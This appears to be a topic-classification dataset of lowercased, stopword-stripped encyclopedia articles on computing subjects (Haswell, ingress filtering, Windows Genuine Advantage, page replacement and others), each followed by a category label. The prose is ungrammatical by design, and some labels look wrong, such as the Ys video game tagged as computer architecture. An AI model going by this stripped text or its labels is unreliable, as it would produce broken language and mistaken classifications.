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haswell microarchitecture haswell codename processor microarchitecture developed intel fourth-generation core successor ivy bridge microarchitecture intel officially announced cpus based microarchitecture june 4 2013 computex taipei 2013 working haswell chip demonstrated 2011 intel developer forum haswell uses 22 nm process intel also introduced low-power processors designed convertible hybrid ultrabooks designated suffix haswell cpus used conjunction intel 8 series chipsets intel 9 series chipsets intel c220 series chipsets haswell architecture specifically designed optimize power savings performance benefits move finfet non-planar 3d transistors improved 22 nm process node haswell launched three major forms compared ivy bridge around middle 2014 intel released refresh haswell simply titled haswell refresh compared original haswell cpus lineup haswell refresh cpus offer modest increase clock frequencies usually 100 mhz haswell refresh cpus supported intel 9 series chipsets z97 h97 codenamed wildcat point motherboards 8 series chipsets codenamed lynx point usually require bios update support haswell refresh cpus cpus codenamed devil canyon covering i5 i7 k-series skus employ new improved thermal interface material tim called next-generation polymer thermal interface material ngptim improved tim reduces cpu operating temperatures improves overclocking potential something problematic since introduction ivy bridge changes devil canyon cpus include tdp increase 88 w additional decoupling capacitors help smooth outputs fully integrated voltage regulator fivr support vt-d previously limited non-k-series skus tsx another feature brought non-k-series skus august 2014 microcode update disabled tsx due bug discovered implementation following table lists available desktop processors sku suffixes denote first digit model number designates largest supported multi-socket configuration thus e5-26xx v3 models support dual-socket configurations e7-48xx v3 e7-88xx v3 models support quad- eight-socket configurations respectively also e5-16xx/26xx v3 e7-48xx/88xx v3 models integrated gpu lists launched server processors split haswell e3-12xx v3 e5-16xx/26xx v3 e7-48xx/88xx v3 models sku suffixes denote following table lists available mobile processors sku suffixes denote
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Computer architecture
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sanctum company sanctum santa clara california-based information technology company focused application security sanctum credited inventing application security space mid-'90s firewall appshield scanner appscan foresaw need better application-layer security web environments 2003 sanctum merged watchfire company subsequently acquired ibm sanctum founded 1997 perfecto technologies eran reshef gili raanan company released first product appshield summer 1999 company done extensive research application security applying formal methods real life software collaboration turing award winner professor amir penueli early research 1996 1997 led invention parallel teams captcha technology application us patent captcha 2000 company renamed sanctum company backed investors sequoia capital intel capital goldman sachs dlj walden mofet appshield product first product inspect incoming hypertext transfer protocol requests block malicious attacks based dynamic policy composed analyzing outgoing html pages later june 2000 company introduced appscan world first web security vulnerability assessment solution among first clients appscan yahoo bank america
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Computer security
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conectiva conectiva company founded august 28 1995 curitiba paraná brazil group friends among arnaldo carvalho de melo pioneer distribution linux open source software brazilian portuguese spanish english latin america besides customized linux distribution latin american market conectiva developed series products additional services directed meet market demand open source tools including books manuals additional software like linux tools embedded systems oem programs applications port training kits revista linux linux magazine addition company provided consulting services training technical support latin america service centers certified partners conectiva also provided development customization professional services worldwide basis team open source software engineers conectiva development team expertise amongst others following areas linux kernel development high availability device drivers xfree86 network protocols firewalling clustering performance analysis optimisation filesystems resource management 24 january 2005 announced mandrakesoft acquired conectiva 1.79 million euro 2.3 million u.s. dollars time 7 april 2005 mandrakesoft announced decision change name parent company mandriva distribution name mandriva linux although brazilian operation would change name conectiva immediately
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Operating systems
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ingress filtering computer networking ingress filtering technique used ensure incoming packets actually networks claim originate used countermeasure various spoofing attacks attacker packets contain fake ip addresses make difficult find source attack technique often used denial-of-service attack primary target ingress filtering networks receive packets networks normally packet contain ip address computer originally sent allows devices receiving network know came allowing reply routed back amongst things except ip addresses used proxy spoofed ip address pinpoint specific user within pool users sender ip address faked 'spoofed characterising spoofing attack disguises origin packets sent example denial-of-service attack holds true proxies although different manner ip spoofing one potential solution involves implementing use intermediate internet gateways i.e. servers connecting disparate networks along path followed given packet filtering denying packet deemed illegitimate gateway processing packet might simply ignore packet completely possible might send packet back sender relaying message illegitimate packet denied host intrusion prevention systems hips one example technical engineering applications help identify prevent and/or deter unwanted unsuspected and/or suspicious events intrusions router implements ingress filtering checks source ip field ip packets receives drops packets packets n't ip address ip address block interface connected may possible end host multi-homed also sends transit network traffic ingress filtering packets coming network filtered network sending send packets originating ip address es end host stub network host router needs filter ip packets source ip private addresses rfc 1918 bogon addresses addresses network address interface network ingress filtering packet filtering technique used many internet service providers try prevent source address spoofing internet traffic thus indirectly combat various types net abuse making internet traffic traceable source network ingress filtering good neighbor policy relies cooperation isps mutual benefit best current practices network ingress filtering documented internet engineering task force bcp 38 bcp 84 defined rfc 2827 rfc 3704 respectively bcp 84 recommends upstream providers ip connectivity filter packets entering networks downstream customers discard packets source address allocated customer many possible ways implementing policy one common mechanism enable reverse path forwarding links customers indirectly apply policy based provider route filtering customers route announcements 2012 one report suggests contrary general opinion lack bcp 38 deployment 80 internet various measures already applying anti-spoofing packet filtering networks
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Computer security
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control unit control unit cu component computer central processing unit cpu directs operation processor tells computer memory arithmetic logic unit input output devices respond instructions sent processor directs operation units providing timing control signals computer resources managed cu directs flow data cpu devices john von neumann included control unit part von neumann architecture modern computer designs control unit typically internal part cpu overall role operation unchanged since introduction control unit cu digital circuitry contained within processor coordinates sequence data movements processor many sub-units result routed data movements various digital circuits sub-units within processor produces manipulated data expected software instruction loaded earlier likely memory controls conducts data flow inside processor additionally provides several external control signals rest computer direct data instructions to/from processor external destinations i.e memory examples devices require cu cpus graphics processing units gpus cu receives external instructions commands converts sequence control signals cu applies data path implement sequence register-transfer level operations precisely control unit cu generally sizable collection complex digital circuitry interconnecting directing many execution units i.e alu data buffers registers contained within cpu cu normally first cpu unit accept externally stored computer program single instruction based cpu instruction set cu decodes individual instruction several sequential steps fetching addresses/data registers/memory managing execution i.e data sent alu i/o storing resulting data back registers/memory controls coordinates cpu inner works properly manipulate data design sequential steps based needs instruction range number steps order execution units enabled thus using program set instructions memory cu configure cpu data flows needed manipulate data correctly instructions results computer could run complete program require human intervention make hardware changes instructions done using punch cards computations stored programmed computers cus invented detailed steps cu dictate cpu interconnecting hardware control signals enable/disable cpu units selected/de-selected unit proper order execution required instruction operation produce desired manipulated data additionally cu orderly hardware coordination properly sequences control signals configures many hardware units comprising cpu directing data also moved changed stored outside cpu i.e memory according instruction objective depending type instruction entering cu order number sequential steps produced cu could vary selection configuration parts cpu hardware utilized achieve instruction objective mainly moving storing modifying data within cpu one feature efficiently uses software instructions control/select/configure computer cpu hardware via cu eventually manipulates program data significant reason modern computers flexible universal running various programs compared 1930s 1940s computers without proper cu often required rewiring hardware changing programs cu instruction decode process repeated program counter incremented next stored program address new instruction enters cu address programs end advanced forms control units manage translation instructions data containing portion several micro-instructions cu manages scheduling micro-instructions selected execution units data channeled changed according execution unit function i.e. alu contains several functions processors control unit may broken additional units instruction unit scheduling unit handle scheduling retirement unit deal results coming instruction pipeline control unit orchestrates main functions cpu carrying stored instructions software program directing flow data throughout computer based upon instructions roughly likened traffic lights systematically control flow cars containing data different locations within traffic grid cpu parks desired parking spot memory address/register car occupants data go building execution unit come back changed way get back car return another location via controlled traffic grid hardwired control units implemented use combinational logic units featuring finite number gates generate specific results based instructions used invoke responses hardwired control units generally faster microprogrammed designs design uses fixed architecture—it requires changes wiring instruction set modified changed architecture preferred reduced instruction set computers risc use simpler instruction set controller uses approach operate high speed however little flexibility complexity instruction set implement limited hardwired approach become less popular computers evolved previously control units cpus used ad-hoc logic difficult design idea microprogramming introduced maurice wilkes 1951 intermediate level execute computer program instructions microprograms organized sequence microinstructions stored special control memory algorithm microprogram control unit unlike hardwired control unit usually specified flowchart description main advantage microprogram control unit simplicity structure outputs controller organized microinstructions easily replaced
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Computer architecture
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vissim vissim visual block diagram program simulation dynamical systems model based design embedded systems visual language developed visual solutions westford massachusetts visual solutions acquired altair august 2015 products rebranded solidthinking embed part solidthinking model based development suite solidthinking embed develop virtual prototypes dynamic systems models built sliding blocks work area wiring together mouse embed automatically converts control diagrams c-code ready downloaded target hardware vissim solidthinking embed uses graphical data flow paradigm implement dynamic systems based differential equations version 8 adds interactive uml omg 2 compliant state chart graphs placed vissim diagrams allows modeling state based systems startup sequencing process plants serial protocol decoding vissim/solidthinking embed used control system design digital signal processing multidomain simulation design includes blocks arithmetic boolean transcendental functions well digital filters transfer functions numerical integration interactive plotting commonly modeled systems aeronautical biological/medical digital power electric motor electrical hydraulic mechanical process thermal/hvac econometric read-only version software vissim viewer available free charge provides way people licensed use vissim run vissim models program intended allow models widely shared preserving model published form viewer execute vissim model allows changes block simulation parameters illustrate different design scenarios sliders buttons may activated included model vissim/c-code add-on generates ansi c code model generates target specific code on-chip devices like pwm adc encoder gpio i2c etc useful development embedded systems behavior controller simulated c-code generated compiled run target debugging vissim supports interactive jtag linkage called hotlink allows interactive gain change plotting on-target variables vissim generated code called efficient readable making well suited development embedded systems vissim author served x3j11 ansi c committee wrote several c compilers addition co-authoring book c. deep understanding ansi c nature resulting machine code compiled key code generator efficiency vissim target small 16-bit fixed point systems like texas instruments msp430 using 740 bytes flash 64 bytes ram small closed-loop pulse-width modulation pwm actuated system well allowing high control sample rates 500 khz larger 32-bit floating point processors like texas instruments 150 mhz f28335 technique simulating system performance off-line generating code simulation known model-based development model-based development embedded systems becoming widely adopted production systems shortens development cycles hardware development way model-driven architecture shortens production cycles software development model building visual way describing situation engineering context instead writing solving system equations model building involves using visual blocks solve problem advantage using models cases problems appear difficult expressed mathematically may easier understand represented pictorially vissim uses hierarchical composition create nested block diagrams typical model would consist virtual plants composed various vissim layers combined necessary custom blocks written c fortran virtual controller added tuned give desired overall system response graphical control element sliders buttons allow control what-if analysis operator training controller tuning although vissim originally designed use control engineers used type mathematical model
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Programming language topics
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control store control store part cpu control unit stores cpu microprogram usually accessed microsequencer early types control store took form diode-arrays accessed via address decoders later implemented writable microcode stored form read-only memory called writable control store outputs generally go register prevent race condition occurring register clocked clock signal system running early control stores implemented diode-array accessed via address decoders form read-only memory tradition dates back program timing matrix mit whirlwind first described 1947 modern vlsi processors instead use matrices field-effect transistors build rom and/or pla structures used control processor well internal sequencer microcoded implementation ibm system/360 used variety techniques ccros card capacitor read-only storage model 30 tros transformer read-only storage model 40 bcros balanced capacitor read-only storage model 50 computers built using writable microcode — rather storing microcode rom hard-wired logic microcode stored ram called writable control store wcs computer sometimes called writable instruction set computer wisc many machines experimental laboratory prototypes wisc cpu/16 rtx 32p original system/360 models ibm mainframe read-only control store later system/360 system/370 successor models loaded part microprograms floppy disks dasd writable control store consisting ultra-high speed random-access read-write memory system/370 architecture included facility called initial-microprogram load iml impl could invoked console part power reset por another processor tightly coupled multiprocessor complex permitted ibm easily repair microprogramming defects field even majority control store stored rom computer vendors would often sell writable control store option allowing customers customize machine microprogram vendors e.g. ibm use wcs run microcode emulator features hardware diagnostics commercial machines used writable microcode include burroughs small systems 1970s 1980s xerox processors lisp machines xerox star workstations dec vax 8800 nautilus family symbolics l- g-machines 1980s dec pdp-10 machines stored microcode sram chips 80 bits wide x 2 kwords typically loaded power-on front-end cpu many machines offered user-programmable writable control stores option including hp 2100 dec pdp-11/60 varian data machines v-70 series minicomputers mentec m11 mentec m1 stored microcode sram chips loaded power-on another cpu data general eclipse mv/8000 eagle sram writable control store loaded power-on another cpu wcs offered several advantages including ease patching microprogram certain hardware generations faster access roms could provide user-programmable wcs allowed user optimize machine specific purposes cpu designs compile instruction set writable ram flash inside cpu rekursiv processor imsys cjip fpga reconfigurable computing several intel cpus x86 architecture family writable microcode starting pentium pro 1995 allowed bugs intel core 2 microcode intel xeon microcode fixed software rather requiring entire chip replaced fixes installed linux freebsd microsoft windows motherboard bios control store usually register outputs outputs go back sequencer determine next address go sort register prevent creation race condition designs bits also go register machine work faster execution next microinstruction delayed one cycle register known pipeline register often execution next microinstruction dependent result current microinstruction stable end current microcycle seen either way outputs control store go one big register historically used possible buy eproms register bits chip clock signal determining clock rate cycle time system primarily clocks register
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Computer architecture
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windows genuine advantage windows genuine advantage wga anti-infringement system created microsoft enforces online validation licensing several microsoft windows operating systems accessing several services windows update downloading windows components microsoft download center windows 7 wga renamed windows activation technologies wga consists two components installable component called wga notifications hooks winlogon validates windows license upon logon activex control checks validity windows license downloading certain updates microsoft download center windows update wga notifications covers windows xp later exception windows server 2003 windows xp professional x64 edition activex control checks windows 2000 professional licenses well wga also advertises latest service pack service pack 3 windows xp requires manual intervention disable previously voluntary became mandatory use services july 2005 despite name actually evaluate integrity security computer wga validation process validates present installation windows license key detected computer hardware determines software licensed microsoft accessible either stand-alone program netscape-compatible web browser plug-in activex control within internet explorer latter relevant attempt access microsoft updates via browser includes following steps activex control downloaded first validation new version available validation performed time user connects microsoft website update windows vista without service packs wga validation failure greater impact addition persistent notification disabling non-critical updates wga also disables windows aero windows defender windows readyboost user given grace period pass validation operating system disabled windows reverts reduced functionality mode behavior however removed service pack 1 windows vista favor prominent notices systems believed unlicensed user installs windows genuine advantage internet explorer add-on installed labeled windows genuine advantage early releases tool could readily disabled ie add-on management feature windows group policy added later updates causing option unavailable default still accessible policy removed july 2006 latest update blocks management means program uses either stand-alone program generate key activex control discover whether license key valid either way internet connection required windows xp wga determines user copy windows unauthorized installed seemingly legitimate media i.e. cd/dvd holographic emblem present real copies windows seems genuine microsoft supply user new cd/dvd however newer versions windows still require user purchase new copy microsoft also offers discounts people want purchase legitimate copy windows valid cd microsoft indicated continue deliver critical security updates automatic updates service well via microsoft download center systems including fail pass validation still continue receive critical security updates company made installation windows genuine advantage requirement use windows update microsoft update websites part sure customers use support resources company aware software unlicensed according microsoft legal run microsoft windows without windows genuine advantage however since non-critical windows updates presented automatic updates installation wga required installation non-critical updates available windows update microsoft download center april 25 2006 microsoft began distributing windows genuine advantage notifications critical update kb905474 windows users windows 7 kb971033 function back 2006 users copies wga believed unlicensed exposed alerts startup login use windows os stating genuine copy windows users legitimate copies supposed see alerts although anyway may 23 2006 microsoft updated program closing forms circumvention reportedly updated may 30 june 6 june 27 2006 though forms circumvention still usable latest versions roll worldwide time dates given earliest dates versions appeared actual version offered places earlier version latest release still possible opt receiving update using show option windows update site windows xp hide option right-click menu windows update control panel windows vista/7/8 addition notifications windows genuine advantage also notify users message version windows xp longer secure users xp operating system using service pack 3 provide link help users update systems new service pack version windows genuine advantage notifications released november 29 2006 changed install process inform user program also set automatically update newer versions windows genuine advantage notifications also informs users may non-genuine version windows windows version n't reported genuine however unlike previous releases started automatically delivered windows machines using four widely distributed product keys latest update version 1.9.0040.0 released march 24 2009 microsoft includes windows genuine advantage validation library several products windows validation tool windows media player 11 check validation windows software version 7 internet explorer longer requires user pass windows genuine advantage test order download install software wga validation library also included microsoft security essentials 2.0 validate windows installation whether legitimate program stop working 30 days failed validation process information used wga library check overuse license keys september 2005 microsoft filed lawsuits number companies sold unauthorized copies software based information users told copyright infringing software windows genuine advantage application may 4 2006 microsoft announced lawsuits allegedly distributing unauthorized copies windows edirectsoftware montana chicago-area resellers nathan ballog easy computers personal firewalls though one embedded windows may alert method wgatray.exe started case outpost firewall identified hidden process wgatray.exe process firewall blocked without apparent problems tool released firewall vendor prevent wga notifications transmitting information one pc windows genuine advantage microsoft collects following data october 20 2008 many users windows xp china received black desktop microsoft introduced wga system chinese language systems effort combat copyright violation extremely common china since majority users china run unlicensed copy windows many users experienced described black screen syndrome operating system changes desktop background black screen well displays constant warning messages users even reported disabling office programs microsoft word powerpoint outlook according various polls carried chinese portals sohu.com qq.com 21cn.com many others large number 60 surveyed chinese internet users hostile microsoft windows genuine advantage wga office genuine advantage oga even wga really make program unusable updates except critical ones downloaded microsoft rather disallowing updating windows vista originally ran reduced-functionality mode found wga compromised made people compare wga time bomb software windows vista sp2 removed behavior reverted nag-only methods windows xp notification tool accused spyware-like behavior phoning home daily basis microsoft subsequently admitted behaviour denied amounted spyware following pressure microsoft announced future tool would phone home every two weeks instead every day microsoft also provided removal instructions pilot version wga despite microsoft sued anti-spyware statutes wga non-disclosed phone home behaviour lawsuit since dismissed wga program produce false positives incorrectly identifying genuine copy windows genuine happen number reasons failed updates etc microsoft established forum help users encountering problems february 2007 sure section added program case incorrect reading according ars technica editorial wga reported around 22 500 million windows computers failing test less 0.5 due unauthorized software balance 20 90 positives related edge cases microsoft refused comment rate pure false positives beyond saying 1 stated around 5 million users affected june 18 2007 news surfaced possible positively validate genuine microsoft product user result able download certain software microsoft official website using internet explorer ies4linux wine running linux without even windows-family system installed october 5 2006 wga failure occurred incorrectly flagging systems non-genuine august 25 2007 microsoft wga servers suffered outage resulting many legitimate copies windows xp vista marked counterfeit issue solved 12 hours later according microsoft fewer 12,000 systems affected worldwide july 18 2008 reports microsoft wga oga servers offline surfaced microsoft later responded offline verification temporarily
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Operating systems
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tmux tmux terminal multiplexer unix-like operating systems allows multiple terminal sessions accessed simultaneously single window useful running one command-line program time also used detach processes controlling terminals allowing ssh sessions remain active without visible tmux includes features gnu screen allows users start terminal session clients bound specific physical virtual console multiple terminal sessions created within single terminal session freely rebound one virtual console another session several connected clients tmux notable features tmux included openbsd available package many unix-like operating systems
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Operating systems
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composite index database database composite index multi-column index index based several columns
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Databases
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word lists frequency word lists frequency lists language words grouped frequency occurrence within given text corpus either levels ranked list serving purpose vocabulary acquisition word list frequency provides rational basis making sure learners get best return vocabulary learning effort mainly intended course writers directly learners frequency lists also made lexicographical purposes serving sort checklist ensure common words left major pitfalls corpus content corpus register definition word word counting thousand years old still gigantic analysis done hand mid-20th century natural language electronic processing large corpora movie subtitles subtlex megastudy accelerated research field computational linguistics frequency list sorted list words word types together frequency frequency usually means number occurrences given corpus rank derived position list nation noted incredible help provided computing capabilities making corpus analysis much easier cited several key issues influence construction frequency lists currently available studies based written text corpus easily available easy process however proposed tap large number subtitles available online analyse large numbers speeches made long critical evaluation traditional textual analysis approach support move written corpus toward oral corpuses analysis thanks open film subtitles available online recently followed handful follow-up studies providing valuable frequency count analysis various languages indeed subtlex movement completed five years full studies french american english dutch chinese spanish greek vietnamese brazil portuguese portugal portuguese 2015 albanian polish subtlex-it 2015 provides raw data case basic word unit defined latin scripts words usually one several characters separated either spaces punctuation exceptions arise english ca n't french aujourd'hui idioms may also preferable group words word family representation base word thus possible impossible possibility words word family represented base word *possib* statistical purpose words summed base word form *possib* allowing ranking concept form occurrence moreover languages may present specific difficulties case chinese use spaces words specified chain several characters interpreted either phrase unique-character words multi-character word seems zipf law holds frequency lists drawn longer texts natural language frequency lists useful tool building electronic dictionary prerequisite wide range applications computational linguistics german linguists define häufigkeitsklasse frequency class formula_1 item list using base 2 logarithm ratio frequency frequency frequent item common item belongs frequency class 0 zero item approximately half frequent belongs class 1 example list misspelled word outragious ratio 76/3789654 belongs class 16. formula_3 floor function frequency lists together semantic networks used identify least common specialized terms replaced hypernyms process semantic compression lists intended given directly students rather serve guideline teachers textbook authors paul nation modern language teaching summary encourages first move high frequency vocabulary special purposes thematic vocabulary low frequency vocabulary teach learners strategies sustain autonomous vocabulary expansion word frequency known various effects memorization positively affected higher word frequency likely learner subject exposures lexical access positively influenced high word frequency phenomenon called word frequency effect effect word frequency related effect age-of-acquisition age word learned review available resources word counting dates back hellenistic time thorndike lorge assisted colleagues counted 18,000,000 running words provide first large scale frequency list 1944 modern computers made projects far easier suffer age particular words relating technology blog 2014 7665 frequency corpus contemporary american english first attested 1999 appear three lists twb contains 30,000 lemmas ~13,000 word families goulden nation read 1990 corpus 18 million written words hand analysed size source corpus increased usefulness age language changes reduced applicability gsl contains 2,000 headwords divided two sets 1,000 words corpus 5 million written words analyzed 1940s rate occurrence different meanings parts speech headword provided various criteria frequence range carefully applied corpus thus despite age errors corpus entirely written text still excellent database word frequency frequency meanings reduction noise list updated 2013 dr. charles browne dr. brent culligan joseph phillips new general service list corpus 5 million running words written texts used united states schools various grades various subject areas value focus school teaching materials tagging words frequency word school grade subject areas contain 1 million words written corpus representing different dialects english sources used produce frequency lists review made attempt made 1950s–60s includes f.f.1 list 1,500 high-frequency words completed later f.f.2 list 1,700 mid-frequency words used syntax rules claimed 70 grammatical words constitute 50 communicatives sentence 3,680 words make 95~98 coverage list 3,000 frequent words available french ministry education also provide ranked list 1,500 frequent word families provided lexicologue étienne brunet jean baudot made study model american brown study entitled fréquences d'utilisation des mots en français écrit contemporain recently project lexique3 provides 142,000 french words orthography phonetic syllabation part speech gender number occurrence source corpus frequency rank associated lexemes etc. available open license cc-by-sa-4.0 lexique3 continuous study originate subtlex movement cited made completely new counting based online film subtitles several studies spanish word frequency chinese corpuses long studied perspective frequency lists historical way learn chinese vocabulary based characters frequency american sinologist john defrancis mentioned importance chinese foreign language learning teaching johnny ca n't read chinese frequency toolkit da taiwanese ministry education provided large databases frequency ranks characters words hsk list 8,848 high medium frequency words people republic china republic china taiwan top list 8,600 common traditional chinese words two lists displaying common chinese words characters following subtlex movement recently made rich study chinese word character frequencies frequently used words different languages based wikipedia combined corpora 100 frequently used french words example sentences based www.opensubtitles.org
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Computational linguistics
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atlas supervisor atlas supervisor program managed allocation processing resources manchester university atlas computer machine able act many tasks user programs concurrently various functions included running atlas computer virtual memory atlas supervisor paper section 3 store organisation ‘ considered many first recognisable modern operating system ’ brinch hansen described significant breakthrough history operating systems
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Operating systems
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ys ancient ys vanished ys vanished omens also ancient land ys first installment ys action role-playing video game series developed nihon falcom 1987 name commonly misspelled due error packaging english-language release initially developed pc-8801 masaya hashimoto director programmer designer tomoyoshi miyazaki scenario writer game soon ported x1 pc-9801 fm-7 msx2 japanese computer systems ancient ys vanished saw many subsequent releases english-language version master system enhanced remake turbografx-cd system part compilation called ys ii along 1988 sequel ys precursor rpgs emphasize storytelling hero ys adventurous young swordsman named adol christin story begins arrived town minea land esteria called upon sara fortune teller tells great evil sweeping land adol informed must seek six books ys books contain history ancient land ys give knowledge needs defeat evil forces sara gives adol crystal identification instructs find aunt zepik village holds key retrieving one books quest begins player controls adol game field viewed top-down perspective travels main field explores dungeons encounters numerous roaming enemies must battle order progress combat ys rather different rpgs time either turn-based battles manually activated sword ys instead features battle system fighters automatically attack walking enemies off-center one fighter comes contact enemy damage could sustained sides combatants facing attacking straight causes attacker damage clipping edge defender causes attacked fighter take damage one fighter contacts enemy side back attacked fighter sustain damage combat system created accessibility mind 'bump attack system become one series defining features falcom staff compared style gameplay enjoyment popping air bubble sheets sense took tedious task level-grinding turned something similar high-score-based arcade game according games john szczepaniak retro gamer escapist repetition act pleasurable developed psychological rhythm even event backtracking progress always swift since player never needed stop moving another feature used nearly every ys title since original recharging health mechanism previously used dragon slayer ys official successor clone hydlide series although hydlide borrowed feature 1980 game rogue first place recharging health since become common mechanism used many video games today aside graphical differences game layout remains essentially across many ports ys however versions details changed sega master system version example saw game dungeon areas flipped horizontally including minor differences distinctive early ports famicom edition published victor musical industries version vast departure original featuring entirely new layouts towns field dungeons replacement number original musical tracks new final battle sequence version developed msx2 contained handful new musical tracks replaced part original game soundtrack tracks along number unused tracks first composed original later incorporated soundtrack ys eternal ys complete versions developed turbografx-cd released ys ii 1989 included additional cutscenes opening detailing adol arrival town minea microsoft windows-based remakes ys eternal ys complete expand many story elements cutscenes additional gameplay sharp x68000 enhanced remake released 1991 notable early use 3d pre-rendering boss sprites however ended creating considered bizarre contrast game mostly 2d graphics composed yuzo koshiro along mieko ishikawa soundtrack notable rich melodies age video game music beginning progress monotonous bleeps ys soundtrack considered best video game music ever composed considered one finest influential role-playing video game scores time several soundtrack albums dedicated music ys released falcom includes sega master system version ys reviewed march 1989 issue computer video games magazine gave game score 92 stating best graphics system offers depth playability keep engrossed weeks games machine compared game legend zelda stating many respects character detail all-round presentation make better game visually concludes ys one top-rank rpgs around giving score 90 computer gaming world scorpia 1993 called computer version ys fairly simple entry puzzles solve ... interesting mainly seeing japanese terms lightweight crpgs japanese gaming magazine famitsu gave famicom nes version game score 30 40 famitsu also gave pce-cd turbografx-cd version score 35 40
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Computer architecture
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page replacement algorithm computer operating system uses paging virtual memory management page replacement algorithms decide memory pages page sometimes called swap write disk page memory needs allocated page replacement happens requested page memory page fault free page used satisfy allocation either none number free pages lower threshold page selected replacement paged referenced paged read disk involves waiting i/o completion determines quality page replacement algorithm less time waiting page-ins better algorithm page replacement algorithm looks limited information accesses pages provided hardware tries guess pages replaced minimize total number page misses balancing costs primary storage processor time algorithm page replacing problem typical online problem competitive analysis perspective sense optimal deterministic algorithm known page replacement algorithms hot topic research debate 1960s 1970s mostly ended development sophisticated lru least recently used approximations working set algorithms since basic assumptions made traditional page replacement algorithms invalidated resulting revival research particular following trends behavior underlying hardware user-level software affected performance page replacement algorithms requirements page replacement algorithms changed due differences operating system kernel architectures particular modern os kernels unified virtual memory file system caches requiring page replacement algorithm select page among pages user program virtual address spaces cached files latter pages specific properties example locked write ordering requirements imposed journaling moreover goal page replacement minimize total time waiting memory take account memory requirements imposed kernel sub-systems allocate memory result page replacement modern kernels linux freebsd solaris tends work level general purpose kernel memory allocator rather higher level virtual memory subsystem replacement algorithms local global process incurs page fault local page replacement algorithm selects replacement page belongs process group processes sharing memory partition global replacement algorithm free select page memory local page replacement assumes form memory partitioning determines many pages assigned given process group processes popular forms partitioning fixed partitioning balanced set algorithms based working set model advantage local page replacement scalability process handle page faults independently leading consistent performance process however global page replacement efficient overall system basis replacement algorithms simply return target page result means target page dirty contains data written stable storage page reclaimed i/o initiated send page stable storage clean page early days virtual memory time spent cleaning much concern virtual memory first implemented systems full duplex channels stable storage cleaning customarily overlapped paging contemporary commodity hardware hand support full duplex transfers cleaning target pages becomes issue deal situation various precleaning policies implemented precleaning mechanism starts i/o dirty pages likely replaced soon idea time precleaned page actually selected replacement i/o complete page clean precleaning assumes possible identify pages replaced next precleaning eager waste i/o bandwidth writing pages manage get re-dirtied selected replacement systems use demand paging—waiting page actually requested loading ram systems attempt reduce latency guessing pages ram likely needed soon pre-loading pages ram page requested often combination pre-cleaning guesses pages currently ram likely needed soon pre-writing storage page fault occurs anticipatory paging systems bring referenced page also next consecutive pages analogous prefetch input queue cpu swap prefetch mechanism goes even loading pages even consecutive likely needed soon h k -paging problem generalization model paging problem let h k positive integers formula_1 measure performance algorithm cache size formula_1 relative theoretically optimal page replacement algorithm formula_3 provide optimal page replacement algorithm strictly less resource h k -paging problem way measure online algorithm performs comparing performance optimal algorithm specifically separately parameterizing cache size online algorithm optimal algorithm marking algorithms general class paging algorithms page associate bit called mark initially set pages unmarked stage page requests mark page first requested stage marking algorithm algorithm never pages marked page alg marking algorithm cache size k opt optimal algorithm cache size h formula_1 alg formula_5-competitive every marking algorithm attains formula_5-competitive ratio lru marking algorithm fifo marking algorithm algorithm conservative consecutive request sequence containing k fewer distinct page references algorithm incur k fewer page faults alg conservative algorithm cache size k opt optimal algorithm cache formula_1 alg formula_5-competitive every conservative algorithm attains formula_5-competitive ratio lru fifo clock conservative algorithms variety page replacement algorithms theoretically optimal page replacement algorithm also known opt clairvoyant replacement algorithm bélády optimal page replacement policy algorithm works follows page needs swapped operating system swaps page whose next use occur farthest future example page going used next 6 seconds swapped page going used within next 0.4 seconds algorithm implemented general purpose operating system impossible compute reliably long page going used except software run system either known beforehand amenable static analysis memory reference patterns class applications allowing run-time analysis despite limitation algorithms exist offer near-optimal performance — operating system keeps track pages referenced program uses data decide pages swap subsequent runs algorithm offer near-optimal performance first run program program memory reference pattern relatively consistent time runs analysis paging problem also done field online algorithms efficiency randomized online algorithms paging problem measured using amortized analysis recently used nru page replacement algorithm algorithm favours keeping pages memory recently used algorithm works following principle page referenced referenced bit set page marking referenced similarly page modified written modified bit set setting bits usually done hardware although possible software level well certain fixed time interval timer interrupt triggers clears referenced bit pages pages referenced within current timer interval marked referenced bit page needs replaced operating system divides pages four classes although seem possible page modified yet referenced happens class 3 page referenced bit cleared timer interrupt nru algorithm picks random page lowest category removal four page categories nru algorithm replace not-referenced not-modified page page exists note algorithm implies modified not-referenced within last timer interval page less important not-modified page intensely referenced nru marking algorithm formula_5-competitive simplest page-replacement algorithm fifo algorithm first-in first-out fifo page replacement algorithm low-overhead algorithm requires little bookkeeping part operating system idea obvious name – operating system keeps track pages memory queue recent arrival back oldest arrival front page needs replaced page front queue oldest page selected fifo cheap intuitive performs poorly practical application thus rarely used unmodified form algorithm experiences bélády anomaly simple words page fault frame memory longest replaced fifo page replacement algorithm used vax/vms operating system modifications partial second chance provided skipping limited number entries valid translation table references additionally pages displaced process working set systemwide pool recovered already re-used fifo conservative algorithm formula_5-competitive modified form fifo page replacement algorithm known second-chance page replacement algorithm fares relatively better fifo little cost improvement works looking front queue fifo instead immediately paging page checks see referenced bit set set page swapped otherwise referenced bit cleared page inserted back queue new page process repeated also thought circular queue pages referenced bit set second encounter first page list page swapped referenced bit cleared pages reference bit cleared second chance algorithm degenerates pure fifo name suggests second-chance gives every page second-chance – old page referenced probably use swapped new page referenced clock efficient version fifo second-chance pages n't constantly pushed back list performs general function second-chance clock algorithm keeps circular list pages memory hand iterator pointing last examined page frame list page fault occurs empty frames exist r referenced bit inspected hand location r 0 new page put place page hand points hand advanced one position otherwise r bit cleared clock hand incremented process repeated page replaced clock conservative algorithm formula_5-competitive least recently used lru page replacement algorithm though similar name nru differs fact lru keeps track page usage short period time nru looks usage last clock interval lru works idea pages heavily used past instructions likely used heavily next instructions lru provide near-optimal performance theory almost good adaptive replacement cache rather expensive implement practice implementation methods algorithm try reduce cost yet keep much performance possible expensive method linked list method uses linked list containing pages memory back list least recently used page front recently used page cost implementation lies fact items list moved every memory reference time-consuming process another method requires hardware support follows suppose hardware 64-bit counter incremented every instruction whenever page accessed acquires value equal counter time page access whenever page needs replaced operating system selects page lowest counter swaps implementation costs one may consider algorithms like follow similar lru offer cheaper implementations one important advantage lru algorithm amenable full statistical analysis proven example lru never result n-times page faults opt algorithm n proportional number pages managed pool hand lru weakness performance tends degenerate many quite common reference patterns example n pages lru pool application executing loop array n 1 pages cause page fault every access loops large arrays common much effort put modifying lru work better situations many proposed lru modifications try detect looping reference patterns switch suitable replacement algorithm like recently used mru comparison arc algorithms lru mq 2q lru-2 lrfu lirs found megiddo modha 2004 lru marking algorithm formula_5-competitive random replacement algorithm replaces random page memory eliminates overhead cost tracking page references usually fares better fifo looping memory references better lru although generally lru 